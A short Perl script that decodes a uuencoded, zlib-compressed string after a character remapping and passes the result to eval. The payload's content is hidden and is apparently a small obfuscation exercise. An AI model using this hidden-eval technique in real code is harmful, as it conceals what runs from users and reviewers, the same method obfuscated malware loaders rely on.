#!/usr/bin/perl -w

use strict;
use Compress::Zlib;

my $code = "8>)PK*,K,*Uf0cDDM+HG)4[+F`j`QF05bi";
$code =~ y/a-k/\40-\47\12\100\134/;
eval uncompress(unpack "u*", $code);